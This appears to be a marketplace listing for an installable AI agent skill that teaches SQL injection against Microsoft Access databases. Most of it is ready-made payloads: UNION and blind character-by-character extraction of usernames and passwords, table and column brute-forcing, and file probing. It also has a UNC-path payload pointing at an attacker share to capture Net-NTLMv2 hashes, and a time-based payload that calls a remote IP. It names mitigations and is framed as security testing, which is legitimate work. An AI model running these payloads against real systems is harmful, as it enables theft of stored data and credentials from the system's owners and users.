# Ms Access Sqli

> Use this skill whenever testing for SQL injection vulnerabilities in MS Access databases, including Jet/ACE database engines. Trigger on any mention of MS Access, .mdb files, Access database, or SQL injection testing against legacy ASP applications. This skill covers enumeration, data extraction, and advanced exploitation techniques specific to MS Access.

- Skill: `abelrguezr/ms-access-sqli` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/ms-access-sqli`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/ms-access-sqli/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Data & Analytics
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/ms-access-sqli

---


# MS Access SQL Injection Testing

A comprehensive guide for testing SQL injection vulnerabilities in Microsoft Access (Jet/ACE) databases. MS Access has unique characteristics that require specialized techniques.

## Key MS Access Limitations

### No Comments
MS Access doesn't support SQL comments. Use NULL character (`%00`) to terminate queries:

```
1' UNION SELECT 1,2 FROM table%00
```

Or fix syntax with a tautology:
```
1' UNION SELECT 1,2 FROM table WHERE ''='
```

### No LIMIT - Use TOP/LAST
MS Access doesn't support `LIMIT`. Use `TOP` for first N rows and `LAST` for rows from the end:

```
-- Get first 3 rows
1' UNION SELECT TOP 3 attr FROM table%00

-- Get last row
1' UNION SELECT LAST(attr) FROM table%00
```

### No Stacked Queries
MS Access doesn't support multiple statements in one query.

### String Concatenation
Use `&` or `+` for string concatenation:

```
1' UNION SELECT 'web' & 'app' FROM table%00
1' UNION SELECT 'web' + 'app' FROM table%00
```

## Core Techniques

### Chaining Equals (Boolean Blind)

MS Access allows unusual syntax like `'1'=2='3'='asd'=false`. Use this for boolean-based blind SQLi:

**Extract substring from current column:**
```
'=(Mid(username,1,3)='adm')='
```

**Extract from another table (requires table name):**
```
'=(Mid((select last(username) from (select top 1 username from users)),1,3)='Alf')='
```

**Brute-force table names:**
```
'=(select top 1 'lala' from <table_name>)='
-1' AND (SELECT TOP 1 <table_name>)%00
```

**Brute-force column names:**
```
'=column_name='
-1' GROUP BY column_name%00
'=(SELECT TOP 1 column_name FROM valid_table_name)='
```

### IIF-Based Data Extraction

Use `IIF()` to create boolean conditions that trigger different responses:

```
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```

This returns `0` (200 OK) if true, or `'ko'` (500 error) if false. Adjust `TOP` and `MID` indices to extract all characters.

### Time-Based Blind (UNC Path)

Jet/ACE doesn't have `SLEEP()`, but you can force delays via UNC paths:

```
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
```

Point to:
- A slow SMB share
- A host that drops TCP after SYN-ACK
- A firewall sinkhole

The HTTP response time reflects the round-trip latency.

## Enumeration

### Get Table Names

**Via system table (if accessible):**
```sql
SELECT MSysObjects.name
FROM MSysObjects
WHERE MSysObjects.type IN (1,4,6)
  AND MSysObjects.name NOT LIKE '~*'
  AND MSysObjects.name NOT LIKE 'MSys*'
ORDER BY MSysObjects.name
```

**Via brute-force (chaining equals):**
```sql
'=(select top 1 'lala' from <table_name>)='
```

Use common table names:
- `users`, `admin`, `accounts`, `customers`, `products`
- `orders`, `invoices`, `payments`, `transactions`
- `employees`, `departments`, `categories`

### Get Column Names

**Current table:**
```sql
'=column_name='
-1' GROUP BY column_name%00
```

**Other table:**
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
```

Common columns: `username`, `password`, `email`, `id`, `name`, `created`, `updated`

## Data Extraction Patterns

### UNION-Based

```
-1' UNION SELECT username,password FROM users%00
```

**Note:** MS Access requires a `FROM` clause in all subqueries and UNIONs. You must know a valid table name.

### Boolean-Based (Character by Character)

Extract username from `users` table:

```
-- Position 1, character 'a'
'=(Mid((select last(username) from (select top 1 username from users)),1,1)='a')='

-- Position 2, character 'd'
'=(Mid((select last(username) from (select top 1 username from users)),2,1)='d')='
```

Increment `TOP` to get different rows, increment `MID` position to get different characters.

### Error-Based

**Web root path disclosure:**
```
1' UNION SELECT 1 FROM FakeDB.FakeTable%00
```

**File existence check:**
```
1' UNION SELECT name FROM msysobjects IN '\\boot.ini'%00
1' UNION SELECT 1 FROM C:\boot.ini.TableName%00
```

**Database filename guessing:**
```
1' UNION SELECT 1 FROM name[i].realTable%00
```

## Advanced: NTLM Credential Theft

Since Jet 4.0, queries can reference remote databases via `IN '<path>'`:

```
1' UNION SELECT TOP 1 name
   FROM MSysObjects
   IN '\\attacker\share\poc.mdb'--
```

**Impact:**
- Out-of-band exfiltration of Net-NTLMv2 hashes
- Potential RCE via Jet/ACE parser bugs (e.g., CVE-2021-28455)

**Requirements:**
- Registry key `AllowQueryRemoteTables` must not be set to `0`
- Outbound SMB/WebDAV must not be blocked

**Mitigation:**
- Set `HKLM\Software\Microsoft\Jet\4.0\Engines\AllowQueryRemoteTables = 0`
- Block outbound SMB/WebDAV at network boundary

## Useful Functions

| Function | Description | Example |
|----------|-------------|---------|
| `Mid(str, pos, len)` | Substring (1-indexed) | `Mid('admin',1,1)` → 'a' |
| `LEN(str)` | String length | `LEN('1234')` → 4 |
| `ASC(char)` | ASCII value | `ASC('A')` → 65 |
| `CHR(code)` | Char from ASCII | `CHR(65)` → 'A' |
| `IIF(cond, a, b)` | If-then-else | `IIF(1=1,'a','b')` → 'a' |
| `COUNT(*)` | Count rows | `COUNT(*)` |
| `TOP n` | First n rows | `SELECT TOP 10 * FROM t` |
| `LAST(col)` | Last value | `SELECT LAST(id) FROM t` |

## Testing Workflow

1. **Confirm SQLi** - Test basic injection with `'` and `UNION SELECT`
2. **Determine column count** - Use `ORDER BY` or `UNION SELECT NULL,NULL,...`
3. **Identify table** - Brute-force with chaining equals or query `MSysObjects`
4. **Identify columns** - Use `GROUP BY` or brute-force with chaining equals
5. **Extract data** - Use UNION-based if possible, otherwise boolean-based
6. **Check for advanced vectors** - UNC path for NTLM theft, file access

## Scripts

See `scripts/` directory for:
- `generate_payloads.py` - Generate MS Access SQLi payloads
- `brute_tables.py` - Brute-force table names
- `extract_data.py` - Extract data character-by-character

## References

- [nibblesec.org MS Access SQLi](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
- [Microsoft KB5002984 - Block Remote Tables](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
- [Check Point Research - NTLM Forced Auth (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)
- [SQLmap Common Tables](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)

